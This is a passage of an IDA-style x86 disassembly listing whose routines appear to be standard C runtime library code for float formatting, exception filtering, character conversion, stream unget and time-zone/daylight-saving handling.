		mov	esi, [ebp+arg_0]
		mov	ecx, [edx+0Ch]
		push	edi
		lea	edi, [esi+1]
		mov	byte ptr [esi],	30h
		test	ebx, ebx
		mov	eax, edi
		jle	short loc_41DDA5
		mov	[ebp+arg_0], ebx
		xor	ebx, ebx

loc_41DD8B:				; CODE XREF: sub_41DD68+38j
		mov	dl, [ecx]
		test	dl, dl
		jz	short loc_41DD97
		movsx	edx, dl
		inc	ecx
		jmp	short loc_41DD9A
; ---------------------------------------------------------------------------

loc_41DD97:				; CODE XREF: sub_41DD68+27j
		push	30h
		pop	edx

loc_41DD9A:				; CODE XREF: sub_41DD68+2Dj
		mov	[eax], dl
		inc	eax
		dec	[ebp+arg_0]
		jnz	short loc_41DD8B
		mov	edx, [ebp+arg_8]

loc_41DDA5:				; CODE XREF: sub_41DD68+1Cj
		and	byte ptr [eax],	0
		test	ebx, ebx
		jl	short loc_41DDBE
		cmp	byte ptr [ecx],	35h
		jl	short loc_41DDBE

loc_41DDB1:				; CODE XREF: sub_41DD68+52j
		dec	eax
		cmp	byte ptr [eax],	39h
		jnz	short loc_41DDBC
		mov	byte ptr [eax],	30h
		jmp	short loc_41DDB1
; ---------------------------------------------------------------------------

loc_41DDBC:				; CODE XREF: sub_41DD68+4Dj
		inc	byte ptr [eax]

loc_41DDBE:				; CODE XREF: sub_41DD68+42j
					; sub_41DD68+47j
		cmp	byte ptr [esi],	31h
		jnz	short loc_41DDC8
		inc	dword ptr [edx+4]
		jmp	short loc_41DDDA
; ---------------------------------------------------------------------------

loc_41DDC8:				; CODE XREF: sub_41DD68+59j
		push	edi
		call	sub_415CF0
		inc	eax
		push	eax
		push	edi
		push	esi
		call	sub_416490
		add	esp, 10h

loc_41DDDA:				; CODE XREF: sub_41DD68+5Ej
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41DD68	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DDDF	proc near		; CODE XREF: sub_41A016+3Fp
					; sub_41A11A+46p ...

var_C		= byte ptr -0Ch
arg_0		= byte ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	esi
		lea	eax, [ebp+arg_0]
		push	edi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	sub_41DE43
		pop	ecx
		lea	esi, [ebp+var_C]
		pop	ecx
		push	offset word_469680
		push	0
		push	11h
		sub	esp, 0Ch
		mov	edi, esp
		movsd
		movsd
		movsw
		call	sub_41F004
		mov	dword_4696A8, eax
		add	esp, 18h
		movsx	eax, byte_469682
		mov	dword_4696A0, eax
		pop	edi
		movsx	eax, word_469680
		mov	dword_4696A4, eax
		mov	dword_4696AC, offset dword_469684
		mov	eax, offset dword_4696A0
		pop	esi
		leave
		retn
sub_41DDDF	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DE43	proc near		; CODE XREF: sub_41DDDF+10p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	edx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		mov	ax, [edx+6]
		mov	edi, 7FFh
		mov	ecx, eax
		and	eax, 8000h
		shr	ecx, 4
		and	ecx, edi
		mov	[ebp+arg_4], eax
		mov	eax, [edx+4]
		mov	edx, [edx]
		movzx	ebx, cx
		mov	esi, 80000000h
		and	eax, 0FFFFFh
		test	ebx, ebx
		mov	[ebp+var_4], esi
		jz	short loc_41DE91
		cmp	ebx, edi
		jz	short loc_41DE8A
		lea	edi, [ecx+3C00h]
		jmp	short loc_41DEB2
; ---------------------------------------------------------------------------

loc_41DE8A:				; CODE XREF: sub_41DE43+3Dj
		mov	edi, 7FFFh
		jmp	short loc_41DEB2
; ---------------------------------------------------------------------------

loc_41DE91:				; CODE XREF: sub_41DE43+39j
		xor	ebx, ebx
		cmp	eax, ebx
		jnz	short loc_41DEA9
		cmp	edx, ebx
		jnz	short loc_41DEA9
		mov	eax, [ebp+arg_0]
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], bx
		jmp	short loc_41DEF4
; ---------------------------------------------------------------------------

loc_41DEA9:				; CODE XREF: sub_41DE43+52j
					; sub_41DE43+56j
		lea	edi, [ecx+3C01h]
		mov	[ebp+var_4], ebx

loc_41DEB2:				; CODE XREF: sub_41DE43+45j
					; sub_41DE43+4Cj
		mov	ecx, edx
		shr	ecx, 15h
		shl	eax, 0Bh
		or	ecx, eax
		mov	eax, [ebp+arg_0]
		or	ecx, [ebp+var_4]
		shl	edx, 0Bh
		mov	[eax+4], ecx
		mov	[eax], edx

loc_41DECA:				; CODE XREF: sub_41DE43+A6j
		test	ecx, esi
		jnz	short loc_41DEEB
		mov	edx, [eax]
		add	ecx, ecx
		mov	ebx, edx
		shr	ebx, 1Fh
		or	ebx, ecx
		lea	ecx, [edx+edx]
		mov	[eax], ecx
		mov	[eax+4], ebx
		add	edi, 0FFFFh
		mov	ecx, ebx
		jmp	short loc_41DECA
; ---------------------------------------------------------------------------

loc_41DEEB:				; CODE XREF: sub_41DE43+89j
		mov	ecx, [ebp+arg_4]
		or	ecx, edi
		mov	[eax+8], cx

loc_41DEF4:				; CODE XREF: sub_41DE43+64j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41DE43	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DEF9	proc near		; CODE XREF: sub_417D4C+3AAp
					; sub_417D4C+3CBp ...
		push	2
		call	sub_417BEE
		pop	ecx
		retn
sub_41DEF9	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DF02	proc near		; DATA XREF: sub_41DF48o
					; .nsp0:004380E0o ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		mov	eax, [esi]
		cmp	dword ptr [eax], 0E06D7363h
		jnz	short loc_41DF25
		cmp	dword ptr [eax+10h], 3
		jnz	short loc_41DF25
		cmp	dword ptr [eax+14h], 19930520h
		jnz	short loc_41DF25
		jmp	sub_41AB9C
; ---------------------------------------------------------------------------

loc_41DF25:				; CODE XREF: sub_41DF02+Dj
					; sub_41DF02+13j ...
		mov	eax, dword_4696B0
		test	eax, eax
		jz	short loc_41DF42
		push	eax
		call	sub_41DF9E
		test	eax, eax
		pop	ecx
		jz	short loc_41DF42
		push	esi
		call	dword_4696B0
		jmp	short loc_41DF44
; ---------------------------------------------------------------------------

loc_41DF42:				; CODE XREF: sub_41DF02+2Aj
					; sub_41DF02+35j
		xor	eax, eax

loc_41DF44:				; CODE XREF: sub_41DF02+3Ej
		pop	esi
		retn	4
sub_41DF02	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DF48	proc near		; DATA XREF: .nsp0:00423024o
		push	offset sub_41DF02
		call	dword_42101C
		mov	dword_4696B0, eax
		retn
sub_41DF48	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DF59	proc near		; DATA XREF: .nsp0:0042303Co
		push	dword_4696B0
		call	dword_42101C
		retn
sub_41DF59	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DF66	proc near		; CODE XREF: sub_41A3EE+6Bp
					; sub_41A8FF+61p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	dword_421018
		test	eax, eax
		jz	short loc_41DF7E
		xor	esi, esi

loc_41DF7E:				; CODE XREF: sub_41DF66+14j
		mov	eax, esi
		pop	esi
		retn
sub_41DF66	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DF82	proc near		; CODE XREF: sub_41A8FF+73p
					; sub_41A8FF+BFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	dword_421180
		test	eax, eax
		jz	short loc_41DF9A
		xor	esi, esi

loc_41DF9A:				; CODE XREF: sub_41DF82+14j
		mov	eax, esi
		pop	esi
		retn
sub_41DF82	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DF9E	proc near		; CODE XREF: sub_41A8FF+15Bp
					; sub_41DF02+2Dp

arg_0		= dword	ptr  4

		push	esi
		push	1
		pop	esi
		push	[esp+4+arg_0]
		call	dword_421014
		test	eax, eax
		jz	short loc_41DFB2
		xor	esi, esi

loc_41DFB2:				; CODE XREF: sub_41DF9E+10j
		mov	eax, esi
		pop	esi
		retn
sub_41DF9E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_41AB9C

loc_41DFB6:				; CODE XREF: sub_41AB9C:loc_41ABEDj
		push	0Ah
		call	sub_41CF19
		push	16h
		call	sub_41F297
		pop	ecx
		pop	ecx
		push	3
		call	sub_417838
; END OF FUNCTION CHUNK	FOR sub_41AB9C

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DFCD	proc near		; CODE XREF: sub_41AD3D+6A3p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		xor	ebx, ebx
		cmp	esi, ebx
		jz	short loc_41DFF0
		cmp	[ebp+arg_8], ebx
		jz	short loc_41DFF0
		mov	al, [esi]
		cmp	al, bl
		jnz	short loc_41DFF6
		mov	eax, [ebp+arg_0]
		cmp	eax, ebx
		jz	short loc_41DFF0
		mov	[eax], bx

loc_41DFF0:				; CODE XREF: sub_41DFCD+Cj
					; sub_41DFCD+11j ...
		xor	eax, eax

loc_41DFF2:				; CODE XREF: sub_41DFCD+42j
					; sub_41DFCD+86j ...
		pop	esi
		pop	ebx
		pop	ebp
		retn
; ---------------------------------------------------------------------------

loc_41DFF6:				; CODE XREF: sub_41DFCD+17j
		cmp	dword_469548, ebx
		jnz	short loc_41E011
		mov	ecx, [ebp+arg_0]
		cmp	ecx, ebx
		jz	short loc_41E00C
		movzx	ax, al
		mov	[ecx], ax

loc_41E00C:				; CODE XREF: sub_41DFCD+36j
					; sub_41DFCD+C0j
		push	1
		pop	eax
		jmp	short loc_41DFF2
; ---------------------------------------------------------------------------

loc_41E011:				; CODE XREF: sub_41DFCD+2Fj
		mov	ecx, off_437D90
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41E06E
		mov	eax, dword_437F9C
		cmp	eax, 1
		jle	short loc_41E055
		cmp	[ebp+arg_8], eax
		jl	short loc_41E05F
		xor	ecx, ecx
		cmp	[ebp+arg_0], ebx
		setnz	cl
		push	ecx
		push	[ebp+arg_0]
		push	eax
		push	esi
		push	9
		push	dword_469558
		call	dword_421064
		test	eax, eax
		mov	eax, dword_437F9C
		jnz	short loc_41DFF2

loc_41E055:				; CODE XREF: sub_41DFCD+5Cj
		cmp	[ebp+arg_8], eax
		jb	short loc_41E05F
		cmp	[esi+1], bl
		jnz	short loc_41DFF2

loc_41E05F:				; CODE XREF: sub_41DFCD+61j
					; sub_41DFCD+8Bj ...
		mov	dword_4694B4, 2Ah
		or	eax, 0FFFFFFFFh
		jmp	short loc_41DFF2
; ---------------------------------------------------------------------------

loc_41E06E:				; CODE XREF: sub_41DFCD+52j
		xor	eax, eax
		cmp	[ebp+arg_0], ebx
		setnz	al
		push	eax
		push	[ebp+arg_0]
		push	1
		push	esi
		push	9
		push	dword_469558
		call	dword_421064
		test	eax, eax
		jnz	loc_41E00C
		jmp	short loc_41E05F
sub_41DFCD	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E095	proc near		; CODE XREF: sub_41AD3D+76p
					; sub_41AD3D+88p ...

arg_0		= dword	ptr  4

		cmp	dword_437F9C, 1
		jle	short loc_41E0AC
		push	8
		push	[esp+4+arg_0]
		call	sub_418556
		pop	ecx
		pop	ecx
		retn
; ---------------------------------------------------------------------------

loc_41E0AC:				; CODE XREF: sub_41E095+7j
		mov	eax, [esp+arg_0]
		mov	ecx, off_437D90
		mov	al, [ecx+eax*2]
		and	eax, 8
		retn
sub_41E095	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41E0C0	proc near		; CODE XREF: sub_41AD3D+797p
					; sub_41AD3D+7E7p
		cmp	cl, 40h
		jnb	short loc_41E0DA
		cmp	cl, 20h
		jnb	short loc_41E0D0
		shld	edx, eax, cl
		shl	eax, cl
		retn
; ---------------------------------------------------------------------------

loc_41E0D0:				; CODE XREF: sub_41E0C0+8j
		mov	edx, eax
		xor	eax, eax
		and	cl, 1Fh
		shl	edx, cl
		retn
; ---------------------------------------------------------------------------

loc_41E0DA:				; CODE XREF: sub_41E0C0+3j
		xor	eax, eax
		xor	edx, edx
		retn
sub_41E0C0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E0DF	proc near		; CODE XREF: sub_41B7B3+Fp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	ebx
		mov	ebx, [esp+4+arg_0]
		cmp	ebx, 0FFFFFFFFh
		push	esi
		jz	short loc_41E12B
		mov	esi, [esp+8+arg_4]
		mov	eax, [esi+0Ch]
		test	al, 1
		jnz	short loc_41E0FD
		test	al, 80h
		jz	short loc_41E12B
		test	al, 2
		jnz	short loc_41E12B

loc_41E0FD:				; CODE XREF: sub_41E0DF+14j
		cmp	dword ptr [esi+8], 0
		jnz	short loc_41E10A
		push	esi
		call	sub_41D06C
		pop	ecx

loc_41E10A:				; CODE XREF: sub_41E0DF+22j
		mov	eax, [esi]
		cmp	eax, [esi+8]
		jnz	short loc_41E11A
		cmp	dword ptr [esi+4], 0
		jnz	short loc_41E12B
		inc	eax
		mov	[esi], eax

loc_41E11A:				; CODE XREF: sub_41E0DF+30j
		test	byte ptr [esi+0Ch], 40h
		jz	short loc_41E131
		dec	dword ptr [esi]
		mov	eax, [esi]
		cmp	[eax], bl
		jz	short loc_41E137
		inc	eax
		mov	[esi], eax

loc_41E12B:				; CODE XREF: sub_41E0DF+9j
					; sub_41E0DF+18j ...
		or	eax, 0FFFFFFFFh

loc_41E12E:				; CODE XREF: sub_41E0DF+6Cj
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_41E131:				; CODE XREF: sub_41E0DF+3Fj
		dec	dword ptr [esi]
		mov	eax, [esi]
		mov	[eax], bl

loc_41E137:				; CODE XREF: sub_41E0DF+47j
		mov	eax, [esi+0Ch]
		inc	dword ptr [esi+4]
		and	al, 0EFh
		or	al, 1
		mov	[esi+0Ch], eax
		mov	eax, ebx
		and	eax, 0FFh
		jmp	short loc_41E12E
sub_41E0DF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E14D	proc near		; CODE XREF: sub_41B7EE:loc_41B82Dp
		cmp	dword_469770, 0
		jnz	short locret_41E161
		call	sub_41E162
		inc	dword_469770

locret_41E161:				; CODE XREF: sub_41E14D+7j
		retn
sub_41E14D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E162	proc near		; CODE XREF: sub_41E14D+9p

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebp, ebp
		or	ebx, 0FFFFFFFFh
		push	offset aTz	; "TZ"
		xor	edi, edi
		mov	dword_4696B8, ebp
		mov	dword_4387E8, ebx
		mov	dword_4387D8, ebx
		call	sub_41F409
		mov	esi, eax
		pop	ecx
		cmp	esi, ebp
		jnz	loc_41E28B
		push	offset dword_4696C0
		call	dword_421158
		cmp	eax, ebx
		jz	loc_41E3BA
		mov	eax, dword_4696C0
		mov	ecx, dword_469714
		imul	eax, 3Ch
		cmp	word_469706, bp
		push	1
		pop	edx
		mov	dword_438740, eax
		mov	dword_4696B8, edx
		jz	short loc_41E1D9
		mov	esi, ecx
		imul	esi, 3Ch
		add	eax, esi
		mov	dword_438740, eax

loc_41E1D9:				; CODE XREF: sub_41E162+69j
		cmp	word_46975A, bp
		jz	short loc_41E1FD
		mov	eax, dword_469768
		cmp	eax, ebp
		jz	short loc_41E1FD
		sub	eax, ecx
		mov	dword_438744, edx
		imul	eax, 3Ch
		mov	dword_438748, eax
		jmp	short loc_41E209
; ---------------------------------------------------------------------------

loc_41E1FD:				; CODE XREF: sub_41E162+7Ej
					; sub_41E162+87j
		mov	dword_438744, ebp
		mov	dword_438748, ebp

loc_41E209:				; CODE XREF: sub_41E162+99j
		lea	eax, [esp+14h+var_4]
		mov	esi, dword_421138
		push	eax
		push	ebp
		push	3Fh
		mov	edi, 220h
		push	off_4387CC
		push	ebx
		push	offset dword_4696C4
		push	edi
		push	dword_469558
		call	esi
		test	eax, eax
		jz	short loc_41E246
		cmp	[esp+14h+var_4], ebp
		jnz	short loc_41E246
		mov	eax, off_4387CC
		and	byte ptr [eax+3Fh], 0
		jmp	short loc_41E24E
; ---------------------------------------------------------------------------

loc_41E246:				; CODE XREF: sub_41E162+D1j
					; sub_41E162+D7j
		mov	eax, off_4387CC
		and	byte ptr [eax],	0

loc_41E24E:				; CODE XREF: sub_41E162+E2j
		lea	eax, [esp+14h+var_4]
		push	eax
		push	ebp
		push	3Fh
		push	off_4387D0
		push	ebx
		push	offset dword_469718
		push	edi
		push	dword_469558
		call	esi
		test	eax, eax
		jz	loc_41E3B2
		cmp	[esp+14h+var_4], ebp
		jnz	loc_41E3B2
		mov	eax, off_4387D0
		and	byte ptr [eax+3Fh], 0
		jmp	loc_41E3BA
; ---------------------------------------------------------------------------

loc_41E28B:				; CODE XREF: sub_41E162+2Dj
		cmp	byte ptr [esi],	0
		jz	loc_41E3BA
		mov	eax, dword_46976C
		cmp	eax, ebp
		jz	short loc_41E2AE
		push	eax
		push	esi
		call	sub_415910
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41E3BA

loc_41E2AE:				; CODE XREF: sub_41E162+139j
		push	dword_46976C
		call	sub_415E3D
		push	esi
		call	sub_415CF0
		inc	eax
		push	eax
		call	sub_415DC9
		add	esp, 0Ch
		cmp	eax, ebp
		mov	dword_46976C, eax
		jz	loc_41E3BA
		push	esi
		push	eax
		call	sub_415C00
		push	3
		push	esi
		push	off_4387CC
		call	sub_416D40
		mov	eax, off_4387CC
		add	esi, 3
		add	esp, 14h
		and	byte ptr [eax+3], 0
		cmp	byte ptr [esi],	2Dh
		jnz	short loc_41E303
		push	1
		inc	esi
		pop	edi

loc_41E303:				; CODE XREF: sub_41E162+19Bj
		push	esi
		call	sub_4159D4
		pop	ecx
		mov	bl, 30h
		mov	ecx, eax
		imul	ecx, 0E10h
		mov	dword_438740, ecx

loc_41E31A:				; CODE XREF: sub_41E162+1C7j
		mov	al, [esi]
		cmp	al, 2Bh
		jz	short loc_41E328
		cmp	al, bl
		jl	short loc_41E32B
		cmp	al, 39h
		jg	short loc_41E32B

loc_41E328:				; CODE XREF: sub_41E162+1BCj
		inc	esi
		jmp	short loc_41E31A
; ---------------------------------------------------------------------------

loc_41E32B:				; CODE XREF: sub_41E162+1C0j
					; sub_41E162+1C4j
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_41E37E
		inc	esi
		push	esi
		call	sub_4159D4
		imul	eax, 3Ch
		pop	ecx
		mov	ecx, dword_438740
		add	ecx, eax
		mov	dword_438740, ecx

loc_41E349:				; CODE XREF: sub_41E162+1F2j
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_41E356
		cmp	al, 39h
		jg	short loc_41E356
		inc	esi
		jmp	short loc_41E349
; ---------------------------------------------------------------------------

loc_41E356:				; CODE XREF: sub_41E162+1EBj
					; sub_41E162+1EFj
		cmp	byte ptr [esi],	3Ah
		jnz	short loc_41E37E
		inc	esi
		push	esi
		call	sub_4159D4
		pop	ecx
		mov	ecx, dword_438740
		add	ecx, eax
		mov	dword_438740, ecx

loc_41E371:				; CODE XREF: sub_41E162+21Aj
		mov	al, [esi]
		cmp	al, bl
		jl	short loc_41E37E
		cmp	al, 39h
		jg	short loc_41E37E
		inc	esi
		jmp	short loc_41E371
; ---------------------------------------------------------------------------

loc_41E37E:				; CODE XREF: sub_41E162+1CCj
					; sub_41E162+1F7j ...
		cmp	edi, ebp
		jz	short loc_41E38A
		neg	ecx
		mov	dword_438740, ecx

loc_41E38A:				; CODE XREF: sub_41E162+21Ej
		movsx	eax, byte ptr [esi]
		cmp	eax, ebp
		mov	dword_438744, eax
		jz	short loc_41E3B2
		push	3
		push	esi
		push	off_4387D0
		call	sub_416D40
		mov	eax, off_4387D0
		add	esp, 0Ch
		and	byte ptr [eax+3], 0
		jmp	short loc_41E3BA
; ---------------------------------------------------------------------------

loc_41E3B2:				; CODE XREF: sub_41E162+10Bj
					; sub_41E162+115j ...
		mov	eax, off_4387D0
		and	byte ptr [eax],	0

loc_41E3BA:				; CODE XREF: sub_41E162+40j
					; sub_41E162+124j ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_41E162	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E3C0	proc near		; CODE XREF: sub_41B7EE+A5p

arg_0		= dword	ptr  4

		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	dword_438744, edi
		jnz	short loc_41E3D4

loc_41E3CD:				; CODE XREF: sub_41E3C0+148j
					; sub_41E3C0+150j ...
		xor	eax, eax
		jmp	loc_41E520
; ---------------------------------------------------------------------------

loc_41E3D4:				; CODE XREF: sub_41E3C0+Bj
		mov	esi, [esp+0Ch+arg_0]
		push	1
		pop	ebx
		mov	eax, [esi+14h]
		cmp	eax, dword_4387D8
		jnz	short loc_41E3F2
		cmp	eax, dword_4387E8
		jz	loc_41E4F4

loc_41E3F2:				; CODE XREF: sub_41E3C0+24j
		cmp	dword_4696B8, edi
		jz	loc_41E4CA
		movzx	ecx, word_469766
		push	ecx
		cmp	word_469758, di
		movzx	ecx, word_469764
		push	ecx
		movzx	ecx, word_469762
		push	ecx
		movzx	ecx, word_469760
		push	ecx
		jnz	short loc_41E444
		movzx	ecx, word_46975C
		push	edi
		push	ecx
		movzx	ecx, word_46975E
		push	ecx
		movzx	ecx, word_46975A
		push	ecx
		push	eax
		push	ebx
		jmp	short loc_41E458
; ---------------------------------------------------------------------------

loc_41E444:				; CODE XREF: sub_41E3C0+65j
		movzx	ecx, word_46975E
		push	ecx
		push	edi
		movzx	ecx, word_46975A
		push	edi
		push	ecx
		push	eax
		push	edi

loc_41E458:				; CODE XREF: sub_41E3C0+82j
		push	ebx
		call	sub_41E56C
		movzx	eax, word_469712
		add	esp, 2Ch
		cmp	word_469704, di
		push	eax
		movzx	eax, word_469710
		push	eax
		movzx	eax, word_46970E
		push	eax
		movzx	eax, word_46970C
		push	eax
		jnz	short loc_41E4B2
		movzx	eax, word_469708
		push	edi
		push	eax
		movzx	eax, word_46970A
		push	eax
		movzx	eax, word_469706
		push	eax
		push	dword ptr [esi+14h]
		push	ebx

loc_41E4A7:				; CODE XREF: sub_41E3C0+108j
		push	edi
		call	sub_41E56C
		add	esp, 2Ch
		jmp	short loc_41E4F4
; ---------------------------------------------------------------------------

loc_41E4B2:				; CODE XREF: sub_41E3C0+C8j
		movzx	eax, word_46970A
		push	eax
		push	edi
		movzx	eax, word_469706
		push	edi
		push	eax
		push	dword ptr [esi+14h]
		push	edi
		jmp	short loc_41E4A7
; ---------------------------------------------------------------------------

loc_41E4CA:				; CODE XREF: sub_41E3C0+38j
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	ebx
		push	4
		push	eax
		push	ebx
		push	ebx
		call	sub_41E56C
		push	edi
		push	edi
		push	edi
		push	2
		push	edi
		push	edi
		push	5
		push	0Ah
		push	dword ptr [esi+14h]
		push	ebx
		push	edi
		call	sub_41E56C
		add	esp, 58h

loc_41E4F4:				; CODE XREF: sub_41E3C0+2Cj
					; sub_41E3C0+F0j
		mov	edx, dword_4387DC
		mov	eax, dword_4387EC
		mov	ecx, [esi+1Ch]
		cmp	edx, eax
		jge	short loc_41E524
		cmp	ecx, edx
		jl	loc_41E3CD
		cmp	ecx, eax
		jg	loc_41E3CD
		cmp	ecx, edx
		jle	short loc_41E538
		cmp	ecx, eax
		jge	short loc_41E538

loc_41E51E:				; CODE XREF: sub_41E3C0+166j
					; sub_41E3C0+16Aj
		mov	eax, ebx

loc_41E520:				; CODE XREF: sub_41E3C0+Fj
					; sub_41E3C0+19Dj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_41E524:				; CODE XREF: sub_41E3C0+144j
		cmp	ecx, eax
		jl	short loc_41E51E
		cmp	ecx, edx
		jg	short loc_41E51E
		cmp	ecx, eax
		jle	short loc_41E538
		cmp	ecx, edx
		jl	loc_41E3CD

loc_41E538:				; CODE XREF: sub_41E3C0+158j
					; sub_41E3C0+15Cj ...
		mov	eax, [esi+8]
		imul	eax, 3Ch
		add	eax, [esi+4]
		imul	eax, 3Ch
		add	eax, [esi]
		imul	eax, 3E8h
		cmp	ecx, edx
		jnz	short loc_41E55F
		xor	ecx, ecx
		cmp	eax, dword_4387E0
		setnl	cl

loc_41E55B:				; CODE XREF: sub_41E3C0+1AAj
		mov	eax, ecx
		jmp	short loc_41E520
; ---------------------------------------------------------------------------

loc_41E55F:				; CODE XREF: sub_41E3C0+18Ej
		xor	ecx, ecx
		cmp	eax, dword_4387F0
		setl	cl
		jmp	short loc_41E55B
sub_41E3C0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E56C	proc near		; CODE XREF: sub_41E3C0+99p
					; sub_41E3C0+E8p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h
arg_1C		= dword	ptr  24h
arg_20		= dword	ptr  28h
arg_24		= dword	ptr  2Ch
arg_28		= dword	ptr  30h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_4], 1
		push	ebx
		mov	ebx, [ebp+arg_8]
		push	esi
		jnz	loc_41E607
		mov	eax, [ebp+arg_C]
		mov	[ebp+arg_8], ebx
		and	[ebp+arg_8], 3
		mov	esi, eax
		jnz	short loc_41E597
		shl	esi, 2
		mov	eax, dword_4387F0[esi]
		jmp	short loc_41E5A0
; ---------------------------------------------------------------------------

loc_41E597:				; CODE XREF: sub_41E56C+1Ej
		shl	esi, 2
		mov	eax, dword_438824[esi]

loc_41E5A0:				; CODE XREF: sub_41E56C+29j
		mov	edx, ebx
		lea	ecx, [eax+1]
		imul	edx, 16Dh
		lea	eax, [ebx-1]
		push	edi
		sar	eax, 2
		mov	edi, ecx
		push	7
		add	edi, eax
		lea	eax, [edx+edi-63DBh]
		pop	edi
		cdq
		idiv	edi
		mov	eax, [ebp+arg_10]
		pop	edi
		cmp	edx, [ebp+arg_14]
		jge	short loc_41E5DA
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		lea	ecx, [ecx+eax-7]
		jmp	short loc_41E5E4
; ---------------------------------------------------------------------------

loc_41E5DA:				; CODE XREF: sub_41E56C+5Ej
		imul	eax, 7
		sub	eax, edx
		add	eax, [ebp+arg_14]
		add	ecx, eax

loc_41E5E4:				; CODE XREF: sub_41E56C+6Cj
		cmp	[ebp+arg_10], 5
		jnz	short loc_41E622
		cmp	[ebp+arg_8], 0
		jnz	short loc_41E5F8
		mov	esi, dword_4387F4[esi]
		jmp	short loc_41E5FE
; ---------------------------------------------------------------------------

loc_41E5F8:				; CODE XREF: sub_41E56C+82j
		mov	esi, dword_438828[esi]

loc_41E5FE:				; CODE XREF: sub_41E56C+8Aj
		cmp	ecx, esi
		jle	short loc_41E622
		sub	ecx, 7
		jmp	short loc_41E622
; ---------------------------------------------------------------------------

loc_41E607:				; CODE XREF: sub_41E56C+Cj
		mov	eax, [ebp+arg_C]
		test	bl, 3
		jnz	short loc_41E618
		mov	ecx, dword_4387F0[eax*4]
		jmp	short loc_41E61F
; ---------------------------------------------------------------------------

loc_41E618:				; CODE XREF: sub_41E56C+A1j
		mov	ecx, dword_438824[eax*4]

loc_41E61F:				; CODE XREF: sub_41E56C+AAj
		add	ecx, [ebp+arg_18]

loc_41E622:				; CODE XREF: sub_41E56C+7Cj
					; sub_41E56C+94j ...
		cmp	[ebp+arg_0], 1
		jnz	short loc_41E653
		mov	eax, [ebp+arg_1C]
		mov	dword_4387DC, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		mov	dword_4387D8, ebx
		imul	eax, 3Ch
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_4387E0, eax
		jmp	short loc_41E6A8
; ---------------------------------------------------------------------------

loc_41E653:				; CODE XREF: sub_41E56C+BAj
		mov	eax, [ebp+arg_1C]
		mov	dword_4387EC, ecx
		imul	eax, 3Ch
		add	eax, [ebp+arg_20]
		imul	eax, 3Ch
		add	eax, dword_438748
		add	eax, [ebp+arg_24]
		imul	eax, 3E8h
		add	eax, [ebp+arg_28]
		mov	dword_4387F0, eax
		jns	short loc_41E68B
		add	eax, 5265C00h
		dec	ecx
		mov	dword_4387F0, eax
		jmp	short loc_41E69C
; ---------------------------------------------------------------------------

loc_41E68B:				; CODE XREF: sub_41E56C+110j
		mov	edx, 5265C00h
		cmp	eax, edx
		jl	short loc_41E6A2
		sub	eax, edx
		inc	ecx
		mov	dword_4387F0, eax

loc_41E69C:				; CODE XREF: sub_41E56C+11Dj
		mov	dword_4387EC, ecx

loc_41E6A2:				; CODE XREF: sub_41E56C+126j
		mov	dword_4387E8, ebx

loc_41E6A8:				; CODE XREF: sub_41E56C+E5j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41E56C	endp


; =============== S U B	R O U T	I N E =======================================



